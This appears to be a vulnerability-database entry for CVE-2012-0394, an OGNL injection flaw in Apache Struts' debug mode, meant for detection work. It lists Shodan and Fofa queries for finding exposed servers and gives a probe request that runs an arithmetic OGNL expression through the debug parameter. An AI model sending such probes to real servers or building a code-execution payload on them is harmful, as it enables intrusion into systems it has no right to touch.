🔙 목록으로 돌아가기

CVE-2012-0394: Apache Struts <2.3.1.1 - Remote Code Execution

TitleApache Struts <2.3.1.1 - Remote Code Execution
Authortess
SeverityMedium
ImpactSuccessful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
RemediationUpgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
CVSS Score6.8
EPSS Score0.92749
CVE IDCVE-2012-0394
CWE IDCWE-94
Shodan Queryhtml:"Struts Problem Report"http.title:"struts2 showcase"http.html:"struts problem report"http.html:"apache struts"
Fofa Querybody="struts problem report"title="struts2 showcase"body="apache struts"
Tags cve cve2012 ognl injection edb apache struts vuln

🔍 Vulnerability Description

Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not “a security vulnerability itself.”

🌐 HTTP Request

GET /portal/displayAPSForm.action?debug=command&expression=1393*1615 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Mobile/15E148 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-0394.yaml

🦈 Packet Capture: ⬇️ Download cve-2012-0394.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A